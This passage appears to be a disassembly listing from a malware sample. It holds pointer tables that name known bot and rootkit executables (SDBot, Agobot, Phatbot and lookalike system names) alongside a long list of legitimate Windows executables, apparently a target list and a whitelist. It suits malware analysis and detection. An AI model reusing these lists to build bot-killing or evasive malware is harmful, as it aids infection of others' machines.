		dd offset aIrxdcc_exe	; "IRXDCC.EXE"
		dd offset aSdbot_exe	; "SDBOT.EXE"
		dd offset aSd_exe	; "SD.EXE"
		dd offset aSdbot05b_exe	; "SDBOT05B.EXE"
		dd offset aSdbot05c_exe	; "SDBOT05C.EXE"
		dd offset aT_bat	; "T.BAT"
		dd offset aHax_exe	; "HAX.EXE"
		dd offset aMsn_exe	; "MSN.EXE"
		dd offset a101_exe	; "101.EXE"
		dd offset aClass101_exe	; "CLASS101.EXE"
		dd offset aSocks_exe	; "SOCKS.EXE"
		dd offset aSox_exe	; "SOX.EXE"
		dd offset aSockets_exe	; "SOCKETS.EXE"
		dd offset aS0cks_exe	; "S0CKS.EXE"
		dd offset aMsserv_exe	; "MSSERV.EXE"
		dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE"
		dd offset aWinreg32_exe	; "WINREG32.EXE"
		dd offset aWinnet_exe	; "WINNET.EXE"
		dd offset aXftp_exe	; "XFTP.EXE"
		dd offset aWebx_exe	; "WEBX.EXE"
		dd offset aWebdownloader_ ; "WEBDOWNLOADER.EXE"
		dd offset aSyst3m33r_exe ; "SYST3M33R.EXE"
		dd offset aAgobot_exe	; "AGOBOT.EXE"
		dd offset aAgobot3_exe	; "AGOBOT3.EXE"
		dd offset aPhatbot_exe	; "PHATBOT.EXE"
		dd offset aA_exe	; "A.EXE"
		dd offset aAgo_exe	; "AGO.EXE"
		dd offset aAg_exe	; "AG.EXE"
		dd offset aAg32_exe	; "AG32.EXE"
		dd offset aPb_exe	; "PB.EXE"
		dd offset aWonk_exe	; "WONK.EXE"
		dd offset aAgobotsvc_exe ; "AGOBOTSVC.EXE"
		dd offset aForbot_exe	; "FORBOT.EXE"
		dd offset aUrxbot_exe	; "URXBOT.EXE"
		dd offset aAsn_exe	; "ASN.EXE"
		dd offset aPnp_exe	; "PNP.EXE"
		dd offset aUrx_exe	; "URX.EXE"
		dd offset aDowner_exe	; "DOWNER.EXE"
		dd offset aWebex_exe	; "WEBEX.EXE"
		dd offset aLoader32_exe	; "LOADER32.EXE"
		dd offset aRunbatch_exe	; "RUNBATCH.EXE"
		dd offset aGsec_exe	; "GSEC.EXE"
		dd offset aWindll_exe	; "WINDLL.EXE"
		dd offset aDllhst_exe	; "DLLHST.EXE"
		dd offset aWinhelp_exe_0 ; "WINHELP.EXE"
		dd offset aExe_exe	; "EXE.EXE"
		dd offset aExe32_exe	; "EXE32.EXE"
		dd offset aUpdates_exe	; "UPDATES.EXE"
		dd offset aT00lkit_exe	; "T00LKIT.EXE"
		dd offset aRootkit_exe	; "ROOTKIT.EXE"
		dd offset aRk_exe	; "RK.EXE"
		dd offset aR00tkit_exe	; "R00TKIT.EXE"
		dd offset aUtils32_exe	; "UTILS32.EXE"
		dd offset aUniversal_exe ; "UNIVERSAL.EXE"
		dd offset aDcomd_exe	; "DCOMD.EXE"
		dd offset aDcz_exe	; "DCZ.EXE"
		dd offset aDc_exe	; "DC.EXE"
		dd offset aAkbot_exe	; "AKBOT.EXE"
		dd offset aSxot_exe	; "SXOT.EXE"
		dd offset aMssql32_exe	; "MSSQL32.EXE"
		dd offset aSsql_exe	; "SSQL.EXE"
		dd offset aWinsocket_exe ; "WINSOCKET.EXE"
		dd offset aWinupdaterar_e ; "WINUPDATERAR.EXE"
		dd offset aWmism23_exe	; "WMISM23.EXE"
		dd offset aSysmgr64_exe	; "SYSMGR64.EXE"
		dd offset aWebmsn_exe	; "WEBMSN.EXE"
		dd offset aWanmpsvc_exe	; "WANMPSVC.EXE"
		dd offset aEbay_exe	; "EBAY.EXE"
		dd offset aWinsnte_exe	; "WINSNTE.EXE"
		dd offset aWinpkr_exe	; "WINPKR.EXE"
		dd offset aMswdns32_exe	; "MSWDNS32.EXE"
		dd offset aBulk_exe	; "BULK.EXE"
		dd offset aBlkl_exe	; "BLKL.EXE"
		dd offset aIs67538_exe	; "IS67538.EXE"
		dd offset aVideoati0_exe ; "VIDEOATI0.EXE"
		dd offset aSpooisv_exe	; "SPOOISV.EXE"
		dd offset aWiniogon_exe	; "WINIOGON.EXE"
		dd offset aIsass_exe	; "ISASS.EXE"
		dd offset aWinuppd_exe	; "WINUPPD.EXE"
		dd offset aWinclean_exe	; "WINCLEAN.EXE"
		dd offset aDisk10_exe	; "DISK10.EXE"
		dd offset aW32sim_exe	; "W32SIM.EXE"
		dd offset aWishs_exewsemg ; "WISHS.EXEWSEMGR.EXE"
		dd offset aWnetwork_exe	; "WNETWORK.EXE"
		dd offset aOwnt_exe	; "OWNT.EXE"
		dd offset aUay_exe	; "UAY.EXE"
		dd offset aHookiat_exe	; "HOOKIAT.EXE"
		dd offset aJoined_exe	; "JOINED.EXE"
		dd offset aRserver_exe	; "RSERVER.EXE"
		dd offset aHtran_v1_exe	; "HTRAN_V1.EXE"
		dd offset aBlkl_exe	; "BLKL.EXE"
		dd offset aBox_exe	; "BOX.EXE"
		dd offset aLam_exe	; "LAM.EXE"
		dd offset aAbo_exe	; "ABO.EXE"
		dd offset aLoadadv735_exe ; "LOADADV735.EXE"
		dd offset aM_exe	; "M.EXE"
		dd offset aNope_exe	; "NOPE.EXE"
		dd offset aGt_exe	; "GT.EXE"
		dd offset aNxm_exe	; "NXM.EXE"
		dd offset aDual_exe	; "DUAL.EXE"
		dd offset a5h7h8v6b1c5_ex ; "5H7H8V6B1C5.EXE"
		dd offset aTamer_bat_exe ; "TAMER.BAT.EXE"
		dd offset aOf_exe	; "OF.EXE"
		dd offset aO1o2o3o4_exe	; "O1O2O3O4.EXE"
		dd offset aOurnik_exe	; "OURNIK.EXE"
		dd offset aPs2m_exe	; "PS2M.EXE"
		dd offset aSecuraq_exe	; "SECURAQ.EXE"
		dd offset aScans_exe	; "SCANS.EXE"
		dd offset aTest_exe	; "TEST.EXE"
		dd offset aKa6ber_exe	; "KA6BER.EXE"
		dd offset aV1rg1n_exe_0	; "V1Rg1N.EXE"
		dd offset aU_exe	; "U.EXE"
		dd offset aV1rgf_exe	; "V1RGF.EXE"
		dd offset aJssa_exe	; "JSSA.EXE"
		dd offset aAdv693_exe	; "ADV693.EXE"
		dd offset aXgun_exe	; "XGUN.EXE"
		dd offset aRopnc_exe	; "ROPNC.EXE"
		dd offset aV1rg1n_exe	; "V1RG1N.EXE"
		dd offset aIrb_exe	; "IRB.EXE"
		dd offset aRspool_exe	; "RSPOOL.EXE"
		dd offset aDmi_exe	; "DMI.EXE"
		dd offset aWqrtuhx_exe	; "WQRTUHX.EXE"
		dd offset aWinpga_exe	; "WINPGA.EXE"
		dd offset aHz_exe	; "HZ.EXE"
		dd offset aWolff_exe	; "WOLFF.EXE"
		dd offset aA_exe	; "A.EXE"
		dd offset aGg_exe	; "GG.EXE"
		dd offset aWebxgrab_exe	; "WEBXGRAB.EXE"
		dd offset aLogdec_exe	; "LOGDEC.EXE"
		dd offset aLogoner_exe	; "LOGONER.EXE"
		dd offset aRun_bot_bat_ex ; "RUN_BOT.BAT.EXE"
		dd offset aRootkit2_exe	; "ROOTKIT2.EXE"
		dd offset aMsnet_bat	; "MSNET.BAT"
		dd offset aWsg32_exe	; "WSG32.EXE"
		dd offset aDog_bat	; "DOG.BAT"
		dd offset aInssvc_exe	; "INSSVC.EXE"
		dd offset aConvertxdccfil ; "CONVERTXDCCFILE.EXE"
		dd offset aNsecurity_exe ; "NSECURITY.EXE"
		dd offset aDup_exe	; "DUP.EXE"
		dd offset aHxdofena_exe	; "HXDOFENA.EXE"
		dd offset aWindows12_exe ; "WINDOWS12.EXE"
		dd offset aMssmpp_exe	; "MSSMPP.EXE"
		dd offset aSvc_exe	; "SVC.EXE"
		dd offset aSvchostc_exe	; "SVCHOSTC.EXE"
		dd offset aSvchosts_exe	; "SVCHOSTS.EXE"
		dd offset aSvshost_exe	; "SVSHOST.EXE"
		dd offset aSystem_exe	; "SYSTEM.EXE"
		dd offset aSystem32_exe	; "SYSTEM32.EXE"
		dd offset aSysupd_exe	; "SYSUPD.EXE"
		align 8
off_448918	dd offset dword_4439A8	; DATA XREF: sub_41F0F5+142r
		dd offset aAsr__exe	; "asr_*.exe"
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aNview_exe	; "nview.exe"
		dd offset aSview_exe	; "sview.exe"
		dd offset aNvuninst_exe	; "NVUNINST.EXE"
		dd offset aNvsvc32_exe	; "nvsvc32.exe"
		dd offset aNvudisp_exe	; "nvudisp.exe"
		dd offset aNvappbar_exe	; "nvappbar.exe"
		dd offset aNvcolor_exe	; "nvcolor.exe"
		dd offset aNvdspsch_exe	; "nvdspsch.exe"
		dd offset aNvcplui_exe	; "nvcplui.exe"
		dd offset aNwiz_exe	; "nwiz.exe"
		dd offset aKeystone_exe	; "keystone.exe"
		dd offset aHdashcut_exe	; "HDAShCut.exe"
		dd offset aAccwiz_exe	; "accwiz.exe"
		dd offset aActmovie_exe	; "actmovie.exe"
		dd offset aAhui_exe	; "ahui.exe"
		dd offset aAlg_exe	; "alg.exe"
		dd offset aAppend_exe	; "append.exe"
		dd offset aArp_exe	; "arp.exe"
		dd offset aAsr_fmt_exe	; "asr_fmt.exe"
		dd offset aAsr_ldm_exe	; "asr_ldm.exe"
		dd offset aAsr_pfu_exe	; "asr_pfu.exe"
		dd offset aAt_exe	; "at.exe"
		dd offset aAti2evxx_exe	; "ati2evxx.exe"
		dd offset aAti2mdxx_exe	; "Ati2mdxx.exe"
		dd offset aAtmadm_exe	; "atmadm.exe"
		dd offset aAttrib_exe	; "attrib.exe"
		dd offset aAuditusr_exe	; "auditusr.exe"
		dd offset aAutochk_exe	; "autochk.exe"
		dd offset aAutoconv_exe	; "autoconv.exe"
		dd offset aAutofmt_exe	; "autofmt.exe"
		dd offset aAutolfn_exe	; "autolfn.exe"
		dd offset aBlastcln_exe	; "blastcln.exe"
		dd offset aBootcfg_exe	; "bootcfg.exe"
		dd offset aBootok_exe	; "bootok.exe"
		dd offset aBootvrfy_exe	; "bootvrfy.exe"
		dd offset aCacls_exe	; "cacls.exe"
		dd offset aCalc_exe	; "calc.exe"
		dd offset aCharmap_exe	; "charmap.exe"
		dd offset aChcfg_exe	; "ChCfg.exe"
		dd offset aChkdsk_exe	; "chkdsk.exe"
		dd offset aChkntfs_exe	; "chkntfs.exe"
		dd offset aCidaemon_exe	; "cidaemon.exe"
		dd offset aCipher_exe	; "cipher.exe"
		dd offset aCisvc_exe	; "cisvc.exe"
		dd offset aCkcnv_exe	; "ckcnv.exe"
		dd offset aCleanmgr_exe	; "cleanmgr.exe"
		dd offset aCliconfg_exe	; "cliconfg.exe"
		dd offset aClipbrd_exe	; "clipbrd.exe"
		dd offset aClipsrv_exe	; "clipsrv.exe"
		dd offset aClspack_exe	; "clspack.exe"
		dd offset aCmd_exe	; "cmd.exe"
		dd offset aCmdl32_exe	; "cmdl32.exe"
		dd offset aCmmon32_exe	; "cmmon32.exe"
		dd offset aCmstp_exe	; "cmstp.exe"
		dd offset aComp_exe	; "comp.exe"
		dd offset aCompact_exe	; "compact.exe"
		dd offset aConime_exe	; "conime.exe"
		dd offset aControl_exe	; "control.exe"
		dd offset aConvert_exe	; "convert.exe"
		dd offset aCscript_exe	; "cscript.exe"
		dd offset aCsrss_exe	; "csrss.exe"
		dd offset aCtfmon_exe	; "ctfmon.exe"
		dd offset aDcomcnfg_exe	; "dcomcnfg.exe"
		dd offset aDdeshare_exe	; "ddeshare.exe"
		dd offset aDebug_exe	; "debug.exe"
		dd offset aDefrag_exe	; "defrag.exe"
		dd offset aDfrgfat_exe	; "dfrgfat.exe"
		dd offset aDfrgntfs_exe	; "dfrgntfs.exe"
		dd offset aDiantz_exe	; "diantz.exe"
		dd offset aDiskpart_exe	; "diskpart.exe"
		dd offset aDiskperf_exe	; "diskperf.exe"
		dd offset aDllhost_exe	; "dllhost.exe"
		dd offset aDllhst3g_exe	; "dllhst3g.exe"
		dd offset aDmadmin_exe	; "dmadmin.exe"
		dd offset aDmremote_exe	; "dmremote.exe"
		dd offset aDoskey_exe	; "doskey.exe"
		dd offset aDosx_exe	; "dosx.exe"
		dd offset aDplaysvr_exe	; "dplaysvr.exe"
		dd offset aDpnsvr_exe	; "dpnsvr.exe"
		dd offset aDpvsetup_exe	; "dpvsetup.exe"
		dd offset aDriverquery_ex ; "driverquery.exe"
		dd offset aDrwatson_exe	; "drwatson.exe"
		dd offset aDrwtsn32_exe	; "drwtsn32.exe"
		dd offset aDumprep_exe	; "dumprep.exe"
		dd offset aDvdplay_exe	; "dvdplay.exe"
		dd offset aDvdupgrd_exe	; "dvdupgrd.exe"
		dd offset aDwwin_exe	; "dwwin.exe"
		dd offset aDxdiag_exe	; "dxdiag.exe"
		dd offset aEdlin_exe	; "edlin.exe"
		dd offset aEsentutl_exe	; "esentutl.exe"
		dd offset aEudcedit_exe	; "eudcedit.exe"
		dd offset aEventcreate_ex ; "eventcreate.exe"
		dd offset aEventtriggers_ ; "eventtriggers.exe"
		dd offset aEventvwr_exe	; "eventvwr.exe"
		dd offset aExe2bin_exe	; "exe2bin.exe"
		dd offset aExpand_exe	; "expand.exe"
		dd offset aExtrac32_exe	; "extrac32.exe"
		dd offset aFastopen_exe	; "fastopen.exe"
		dd offset aFc_exe	; "fc.exe"
		dd offset aFind_exe	; "find.exe"
		dd offset aFindstr_exe	; "findstr.exe"
		dd offset aFinger_exe	; "finger.exe"
		dd offset aFixmapi_exe	; "fixmapi.exe"
		dd offset aFltmc_exe	; "fltMc.exe"
		dd offset aFontview_exe	; "fontview.exe"
		dd offset aForcedos_exe	; "forcedos.exe"
		dd offset aFreecell_exe	; "freecell.exe"
		dd offset aFsquirt_exe	; "fsquirt.exe"
		dd offset aFsutil_exe	; "fsutil.exe"
		dd offset aFtp_exe	; "ftp.exe"
		dd offset aGb2312_uce	; "gb2312.uce"
		dd offset aGdi_exe	; "gdi.exe"
		dd offset aGetmac_exe	; "getmac.exe"
		dd offset aGpresult_exe	; "gpresult.exe"
		dd offset aGpupdate_exe	; "gpupdate.exe"
		dd offset aGrpconv_exe	; "grpconv.exe"
		dd offset aHelp_exe	; "help.exe"
		dd offset aHostname_exe	; "hostname.exe"
		dd offset aIe4uinit_exe	; "ie4uinit.exe"
		dd offset aIexpress_exe	; "iexpress.exe"
		dd offset aImapi_exe	; "imapi.exe"
		dd offset aIpconfig_exe	; "ipconfig.exe"
		dd offset aIpsec6_exe	; "ipsec6.exe"
		dd offset aIpv6_exe	; "ipv6.exe"
		dd offset aIpxroute_exe	; "ipxroute.exe"
		dd offset aJava_exe	; "java.exe"
		dd offset aJavaw_exe	; "javaw.exe"
		dd offset aJavaws_exe	; "javaws.exe"
		dd offset aJdbgmgr_exe	; "jdbgmgr.exe"
		dd offset aJview_exe	; "jview.exe"
		dd offset aKrnl386_exe	; "krnl386.exe"
		dd offset aLabel_exe	; "label.exe"
		dd offset aLights_exe	; "lights.exe"
		dd offset aLnkstub_exe	; "lnkstub.exe"
		dd offset aLocator_exe	; "locator.exe"
		dd offset aLodctr_exe	; "lodctr.exe"
		dd offset aLogagent_exe	; "logagent.exe"
		dd offset aLogman_exe	; "logman.exe"
		dd offset aLogoff_exe	; "logoff.exe"
		dd offset aLogonui_exe	; "logonui.exe"
		dd offset aLpq_exe	; "lpq.exe"
		dd offset aLpr_exe	; "lpr.exe"
		dd offset aLsass_exe	; "lsass.exe"
		dd offset aMagnify_exe	; "magnify.exe"
		dd offset aMakecab_exe	; "makecab.exe"
		dd offset aMem_exe	; "mem.exe"
		dd offset aMigpwd_exe	; "migpwd.exe"
		dd offset aMmc_exe	; "mmc.exe"
		dd offset aMnmsrvc_exe	; "mnmsrvc.exe"
		dd offset aMobsync_exe	; "mobsync.exe"
		dd offset aMountvol_exe	; "mountvol.exe"
		dd offset aMplay32_exe	; "mplay32.exe"
		dd offset aMpnotify_exe	; "mpnotify.exe"
		dd offset aMqbkup_exe	; "mqbkup.exe"
		dd offset aMqsvc_exe	; "mqsvc.exe"
		dd offset aMqtgsvc_exe	; "mqtgsvc.exe"
		dd offset aMrinfo_exe	; "mrinfo.exe"
		dd offset aMrt_exe	; "MRT.exe"
		dd offset aMscdexnt_exe	; "mscdexnt.exe"
		dd offset aMsdtc_exe	; "msdtc.exe"
		dd offset aMsg_exe	; "msg.exe"
		dd offset aMshearts_exe	; "mshearts.exe"
		dd offset aMshta_exe	; "mshta.exe"
		dd offset aMsiexec_exe	; "msiexec.exe"
		dd offset aMspaint_exe	; "mspaint.exe"
		dd offset aMsswchx_exe	; "msswchx.exe"
		dd offset aMstinit_exe	; "mstinit.exe"
		dd offset aMstsc_exe	; "mstsc.exe"
		dd offset aNarrator_exe	; "narrator.exe"
		dd offset aNbtstat_exe	; "nbtstat.exe"
		dd offset aNddeapir_exe	; "nddeapir.exe"
		dd offset aNerocheck_exe ; "NeroCheck.exe"
		dd offset aNet_exe	; "net.exe"
		dd offset aNet1_exe	; "net1.exe"
		dd offset aNetdde_exe	; "netdde.exe"
		dd offset aNetsetup_exe	; "netsetup.exe"
		dd offset aNetsh_exe	; "netsh.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aNlsfunc_exe	; "nlsfunc.exe"
		dd offset aNotepad_exe_0 ; "notepad.exe"
		dd offset aNslookup_exe	; "nslookup.exe"
		dd offset aNtbackup_exe	; "ntbackup.exe"
		dd offset aNtkrnlpa_exe	; "ntkrnlpa.exe"
		dd offset aNtoskrnl_exe	; "ntoskrnl.exe"
		dd offset aNtsd_exe	; "ntsd.exe"
		dd offset aNtvdm_exe	; "ntvdm.exe"
		dd offset aNw16_exe	; "nw16.exe"
		dd offset aNwscript_exe	; "nwscript.exe"
		dd offset aOdbcad32_exe	; "odbcad32.exe"
		dd offset aOdbcconf_exe	; "odbcconf.exe"
		dd offset aOpenfiles_exe ; "openfiles.exe"
		dd offset aOsk_exe	; "osk.exe"
		dd offset aOsuninst_exe	; "osuninst.exe"
		dd offset aPackager_exe	; "packager.exe"
		dd offset aPathping_exe	; "pathping.exe"
		dd offset aPentnt_exe	; "pentnt.exe"
		dd offset aPerfmon_exe	; "perfmon.exe"
		dd offset aPing_exe	; "ping.exe"
		dd offset aPing6_exe	; "ping6.exe"
		dd offset aPowercfg_exe	; "powercfg.exe"
		dd offset aPrint_exe	; "print.exe"
		dd offset aProgman_exe	; "progman.exe"
		dd offset aProquota_exe	; "proquota.exe"
		dd offset aProxycfg_exe	; "proxycfg.exe"
		dd offset aQappsrv_exe	; "qappsrv.exe"
		dd offset aQprocess_exe	; "qprocess.exe"
		dd offset aQwinsta_exe	; "qwinsta.exe"
		dd offset aRasautou_exe	; "rasautou.exe"
		dd offset aRasdial_exe	; "rasdial.exe"
		dd offset aRasphone_exe	; "rasphone.exe"
		dd offset aRcimlby_exe	; "rcimlby.exe"
		dd offset aRcp_exe	; "rcp.exe"
		dd offset aRdpclip_exe	; "rdpclip.exe"
		dd offset aRdsaddin_exe	; "rdsaddin.exe"
		dd offset aRdshost_exe	; "rdshost.exe"
		dd offset aRecover_exe	; "recover.exe"
		dd offset aRedir_exe	; "redir.exe"
		dd offset aReg_exe	; "reg.exe"
		dd offset aRegcladm_exe	; "REGCLADM.EXE"
		dd offset aRegedt32_exe	; "regedt32.exe"
		dd offset aRegini_exe	; "regini.exe"
		dd offset aRegsvr32_exe	; "regsvr32.exe"
		dd offset aRegwiz_exe	; "regwiz.exe"
		dd offset aRelog_exe	; "relog.exe"
		dd offset aReplace_exe	; "replace.exe"
		dd offset aReset_exe	; "reset.exe"
		dd offset aRexec_exe	; "rexec.exe"
		dd offset aRoute_exe	; "route.exe"
		dd offset aRoutemon_exe	; "routemon.exe"
		dd offset aRsh_exe	; "rsh.exe"
		dd offset aRsm_exe	; "rsm.exe"
		dd offset aRsmsink_exe	; "rsmsink.exe"
		dd offset aRsmui_exe	; "rsmui.exe"
		dd offset aRsnotify_exe	; "rsnotify.exe"
		dd offset aRsopprov_exe	; "rsopprov.exe"
		dd offset aRsvp_exe	; "rsvp.exe"
		dd offset aRtcshare_exe	; "rtcshare.exe"
		dd offset aRtlcpl_exe	; "RTLCPL.EXE"
		dd offset aRunas_exe	; "runas.exe"
		dd offset aRundll32_exe	; "rundll32.exe"
		dd offset aRunonce_exe	; "runonce.exe"
		dd offset aRwinsta_exe	; "rwinsta.exe"
		dd offset aSavedump_exe	; "savedump.exe"
		dd offset aSc_exe	; "sc.exe"
		dd offset aScardsvr_exe	; "scardsvr.exe"
		dd offset aSchtasks_exe	; "schtasks.exe"
		dd offset aSdbinst_exe	; "sdbinst.exe"
		dd offset aSecedit_exe	; "secedit.exe"
		dd offset aServices_exe	; "services.exe"
		dd offset aSessmgr_exe	; "sessmgr.exe"
		dd offset aSethc_exe	; "sethc.exe"
		dd offset aSetup_exe	; "setup.exe"
		dd offset aSetver_exe	; "setver.exe"
		dd offset aSfc_exe	; "sfc.exe"
		dd offset aShadow_exe	; "shadow.exe"
		dd offset aShare_exe	; "share.exe"
		dd offset aShmgrate_exe	; "shmgrate.exe"
		dd offset aShrpubw_exe	; "shrpubw.exe"
		dd offset aShutdown_exe	; "shutdown.exe"
		dd offset aSigverif_exe	; "sigverif.exe"
		dd offset aSkeys_exe	; "skeys.exe"
		dd offset aSmbinst_exe	; "smbinst.exe"
		dd offset aSmlogsvc_exe	; "smlogsvc.exe"
		dd offset aSmss_exe	; "smss.exe"
		dd offset aSndrec32_exe	; "sndrec32.exe"
		dd offset aSndvol32_exe	; "sndvol32.exe"
		dd offset aSol_exe	; "sol.exe"
		dd offset aSort_exe	; "sort.exe"
		dd offset aSpider_exe	; "spider.exe"
		dd offset aSpiisupd_exe	; "spiisupd.exe"
		dd offset aSpnpinst_exe	; "spnpinst.exe"
		dd offset aSpoolsv_exe	; "spoolsv.exe"
		dd offset aSprestrt_exe	; "sprestrt.exe"
		dd offset aSpupdsvc_exe	; "spupdsvc.exe"
		dd offset aStimon_exe	; "stimon.exe"
		dd offset aSubrange_uce	; "subrange.uce"
		dd offset aSubst_exe	; "subst.exe"
		dd offset aSvchost_exe	; "svchost.exe"
		dd offset aSyncapp_exe	; "syncapp.exe"
		dd offset aSysedit_exe	; "sysedit.exe"
		dd offset aSyskey_exe	; "syskey.exe"
		dd offset aSysocmgr_exe	; "sysocmgr.exe"
		dd offset aSysteminfo_exe ; "systeminfo.exe"
		dd offset aSystray_exe	; "systray.exe"
		dd offset aTaskkill_exe	; "taskkill.exe"
		dd offset aTasklist_exe	; "tasklist.exe"
		dd offset aTaskman_exe_0 ; "taskman.exe"
		dd offset aTaskmgr_exe	; "taskmgr.exe"
		dd offset aTcmsetup_exe	; "tcmsetup.exe"
		dd offset aTcpsvcs_exe	; "tcpsvcs.exe"
		dd offset aTelnet_exe	; "telnet.exe"
		dd offset aTftp_exe	; "tftp.exe"
		dd offset aTlntadmn_exe	; "tlntadmn.exe"
		dd offset aTlntsess_exe	; "tlntsess.exe"
		dd offset aTlntsvr_exe	; "tlntsvr.exe"
		dd offset aTourstart_exe ; "tourstart.exe"
		dd offset aTracerpt_exe	; "tracerpt.exe"
		dd offset aTracert_exe	; "tracert.exe"
		dd offset aTracert6_exe	; "tracert6.exe"
		dd offset aTscon_exe	; "tscon.exe"
		dd offset aTscupgrd_exe	; "tscupgrd.exe"
		dd offset aTsdiscon_exe	; "tsdiscon.exe"
		dd offset aTskill_exe	; "tskill.exe"
		dd offset aTsshutdn_exe	; "tsshutdn.exe"
		dd offset aTwunk_16_exe	; "twunk_16.exe"
		dd offset aTwunk_32_exe	; "twunk_32.exe"
		dd offset aTypeperf_exe	; "typeperf.exe"
		dd offset aUnlodctr_exe	; "unlodctr.exe"
		dd offset aUpnpcont_exe	; "upnpcont.exe"
		dd offset aUps_exe	; "ups.exe"
		dd offset aUser_exe	; "user.exe"
		dd offset aUserinit_exe	; "userinit.exe"
		dd offset aUsrmlnka_exe	; "usrmlnka.exe"
		dd offset aUsrprbda_exe	; "usrprbda.exe"
		dd offset aUsrshuta_exe	; "usrshuta.exe"
		dd offset aUtilman_exe	; "utilman.exe"
		dd offset aVerclsid_exe	; "verclsid.exe"
		dd offset aVerifier_exe	; "verifier.exe"
		dd offset aViral_exe	; "viral.exe"
		dd offset aVssadmin_exe	; "vssadmin.exe"
		dd offset aVssvc_exe	; "vssvc.exe"
		dd offset aVwipxspx_exe	; "vwipxspx.exe"
		dd offset aW32tm_exe	; "w32tm.exe"
		dd offset aWextract_exe	; "wextract.exe"
		dd offset aWiaacmgr_exe	; "wiaacmgr.exe"
		dd offset aWinchat_exe	; "winchat.exe"
		dd offset aWindbver_exe	; "WINDBVER.EXE"
		dd offset aWinhlp32_exe	; "winhlp32.exe"
		dd offset aWinmine_exe	; "winmine.exe"
		dd offset aWinmsd_exe	; "winmsd.exe"
		dd offset aWinspool_exe	; "winspool.exe"
		dd offset aWinver_exe	; "winver.exe"
		dd offset aWjview_exe	; "wjview.exe"
		dd offset aWowdeb_exe	; "wowdeb.exe"
		dd offset aWowexec_exe	; "wowexec.exe"
		dd offset aWpabaln_exe	; "wpabaln.exe"
		dd offset aWpnpinst_exe	; "wpnpinst.exe"
		dd offset aWrite_exe	; "write.exe"
		dd offset aWscntfy_exe	; "wscntfy.exe"
		dd offset aWscript_exe	; "wscript.exe"
		dd offset aWuauclt_exe	; "wuauclt.exe"
		dd offset aWuauclt1_exe	; "wuauclt1.exe"
		dd offset aWupdmgr_exe	; "wupdmgr.exe"
		dd offset aXcopy_exe	; "xcopy.exe"
		dd offset aAcdsee_scr	; "ACDSee.scr"
		dd offset aLogon_scr	; "logon.scr"
		dd offset aScrnsave_scr	; "scrnsave.scr"
		dd offset aSeismosaver_sc ; "SeismoSaver.scr"
		dd offset aSs3dfo_scr	; "ss3dfo.scr"
		dd offset aSsbezier_scr	; "ssbezier.scr"
		dd offset aSsflwbox_scr	; "ssflwbox.scr"
		dd offset aSsmarque_scr	; "ssmarque.scr"
		dd offset aSsmypics_scr	; "ssmypics.scr"
		dd offset aSsmyst_scr	; "ssmyst.scr"
		dd offset aSspipes_scr	; "sspipes.scr"
		dd offset aSsstars_scr	; "ssstars.scr"
		dd offset aSstext3d_scr	; "sstext3d.scr"
		dd offset aSystem_1	; "System"
		dd offset aDevldr32_exe	; "devldr32.exe"
		dd offset aInternat_exe	; "internat.exe"
		dd offset aAti2evxx_exe	; "ati2evxx.exe"
		dd offset aWudfhost_exe	; "WUDFHost.exe"
		dd offset aPenservice_exe ; "penservice.exe"
		dd offset aWmiexe_exe	; "wmiexe.exe"
		dd offset aWinmgmt_exe	; "winmgmt.exe"
		dd offset aWercon_exe	; "wercon.exe"
		dd offset aTaskeng_exe	; "taskeng.exe"
		dd offset aHkcmd_exe	; "hkcmd.exe"
		dd offset aHotkey_exe	; "hotkey.exe"
		dd offset aJusched_exe	; "jusched.exe"
		dd offset aPoint32_exe	; "point32.exe"
		dd offset aQttask_exe	; "qttask.exe"
		dd offset aWisptis_exe	; "wisptis.exe"
		dd offset aCrypserv_exe	; "crypserv.exe"
		dd offset aInetinfo_exe	; "inetinfo.exe"
		dd offset aIgfxpers_exe	; "igfxpers.exe"
		dd offset aIgfxtray_exe	; "igfxtray.exe"
		dd offset aPctspk_exe	; "pctspk.exe"
		dd offset aMstask_exe	; "mstask.exe"
		dd offset aSmagent_exe	; "smagent.exe"
		dd offset aNmssvc_exe	; "nmssvc.exe"
		dd offset aHpsysdrv_exe	; "hpsysdrv.exe"
		dd offset aHpcmpmgr_exe	; "hpcmpmgr.exe"
		dd offset aNhksrv_exe	; "nhksrv.exe"
		dd offset aHpzipm12_exe	; "HPZipm12.exe"
		dd offset aCli_exe	; "cli.exe"
		dd offset aTphkmgr_exe	; "TPHKMGR.exe"
		dd offset aSmax4pnp_exe	; "smax4pnp.exe"
		dd offset aLoadqm_exe	; "loadqm.exe"
		dd offset aLexbces_exe	; "lexbces.exe"
		dd offset aDwm_exe	; "dwm.exe"
		dd offset aLsm_exe	; "lsm.exe"
		dd offset aMdm_exe	; "mdm.exe"
		dd offset aMssearch_exe	; "mssearch.exe"
		dd offset aRegsvc_exe	; "regsvc.exe"
		dd offset aSdclt_exe	; "sdclt.exe"
		dd offset aSlsvc_exe	; "slsvc.exe"
		dd offset aHidserv_exe	; "hidserv.exe"
		dd offset aUninstall__exe ; "uninstall_.exe"
		dd offset aTrkwkss_exe	; "trkwkss.exe"
		dd offset aWuaucpl_exe	; "wuaucpl.exe"
		dd offset aTrkwksvc_exe	; "trkwksvc.exe"
		dd offset aWmssvc_exe	; "wmssvc.exe"
		dd offset aWmsncs_exe	; "wmsncs.exe"
		dd offset aWiadss_exe	; "wiadss.exe"
		dd offset aWmsnchrs_exe	; "wmsnchrs.exe"
		dd offset aWrvmchars_exe ; "wrvmchars.exe"
off_448F80	dd offset dword_4439A8	; DATA XREF: sub_41F0F5:loc_41F274r
		dd offset aAsr__exe	; "asr_*.exe"
		dd offset aWmsoft_exe	; "wmsoft*.exe"
		dd offset aAlcmtr_exe	; "ALCMTR.EXE"
		dd offset aAlcwzrd_exe	; "ALCWZRD.EXE"
		dd offset aHdashcut_exe	; "HDAShCut.exe"
		dd offset aRthdcpl_exe	; "RTHDCPL.EXE"
		dd offset aRtlcpl_exe	; "RTLCPL.EXE"
		dd offset aMiccal_exe	; "MicCal.exe"
		dd offset aRtlupd_exe	; "RtlUpd.exe"
		dd offset aAlcrmv_exe	; "alcrmv.exe"
		dd offset aAlcupd_exe	; "alcupd.exe"
		dd offset aExplorer_exe_0 ; "explorer.exe"
		dd offset aHh_exe	; "hh.exe"
		dd offset aIsuninst_exe	; "IsUninst.exe"
		dd offset aIun6002_exe	; "iun6002.exe"
		dd offset aNotepad_exe	; "NOTEPAD.EXE"
		dd offset aRegedit_exe	; "regedit.exe"
